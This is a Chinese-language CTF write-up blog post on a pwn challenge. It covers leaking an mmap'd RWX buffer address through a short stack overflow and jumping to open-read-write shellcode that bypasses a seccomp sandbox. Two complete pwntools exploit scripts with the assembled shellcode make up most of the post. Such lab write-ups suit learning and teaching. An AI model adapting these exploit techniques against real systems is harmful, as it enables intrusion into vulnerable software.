0%

记一道shellcode的点

记一道shellcode的点

题目看着很简单,就一个执行shellcode的,emm,我考虑了很久,怎么rop的,构造了各种骚操作rop,发觉那个限制输入长度太短了。。。所以还是回到这里mmap申请的空间开了权限7,rwx,所以想办法写shellcode,这样的话地址是个问题,这个问题纠结了很久我都没看出点,吃个饭回来懂了,他这里读入的时候有栈溢出,虽然没溢出到ebp,不过溢出到了dest指针,所以我输入0x78大小的数据的话,可以泄露地址
emm,现在很简单了,ret2shellcode就完了

注意这里开了沙盒保护:只能用read,write,open,也就是orw,经典的题目,
其实字节不限制我觉得可以ROP的,用万能gadget是一样可以构造orw的

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-80h]
char *dest; // [rsp+78h] [rbp-8h]

init(*(_QWORD *)&argc, argv, envp);
puts("game start ");
dest = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( dest == (char *)-1LL )
{
puts("mmap fail");
exit(0);
}
sec_rule();
read(0, &buf, 0x80uLL);
strncpy(dest, &buf, 0x80uLL);
return pwn(dest);
}
1
2
3
4
5
6
7
8
ssize_t __fastcall pwn(const char *a1)
{
char buf; // [rsp+10h] [rbp-10h]

puts("Maybe you can do something");
puts(a1);
return read(0, &buf, 0x20uLL);
}

漏洞利用

就是泄露地址,ret2shellcode,这里shellcode有点小问题,我自己写的有00截断,看了下pwntools生成的,照着改下就过了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = './SEC'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def one_gadget(filename):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
#one_gadget = one_gadget(libc.path)



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

def exp():
context(arch="amd64", os="linux")
shellcode = asm('''mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f2e
xor [rsp],rax
mov rdi,rsp
xor edx, edx
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
xor eax,eax
push 0x64
pop rdx
mov rsi,rsp
syscall
push 1
pop rdi
mov rsi,rsp
push 1
pop rax
syscall
''')
shellcode = shellcode.ljust(0x78,"A")
print(shellcode)
print(len(shellcode))
sl(shellcode)
addr = uu64(r()[-7:]) & 0x7fffffffff00 + 0xa
lg("addr", addr)
gdb.attach(io)
sl("a"*0x18 + p64(addr))

if __name__ == '__main__':
exp()
io.interactive()
'''
sl("cat *flag*")
try:
flag = rp(1)
import re
flag = re.findall("flag{.*?}", flag)[0]
print("flag is: " + flag)
except Exception as e:
print(e)
'''

简单版shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import subprocess

local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = './SEC'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def one_gadget(filename):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
#one_gadget = one_gadget(libc.path)



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

def exp():
context(arch="amd64", os='linux')
shellcode = ''
shellcode += shellcraft.open("./flag")
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
shellcode = asm(shellcode).ljust(0x78, 'a')
sl(shellcode)
addr = uu64(r()[-7:]) & 0x7fffffffff00 + 0xa
lg("addr", addr)
gdb.attach(io)
sl("a"*0x18 + p64(addr))

if __name__ == '__main__':
exp()
io.interactive()

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/b9a2d7db/
版权声明:转载请注明出处!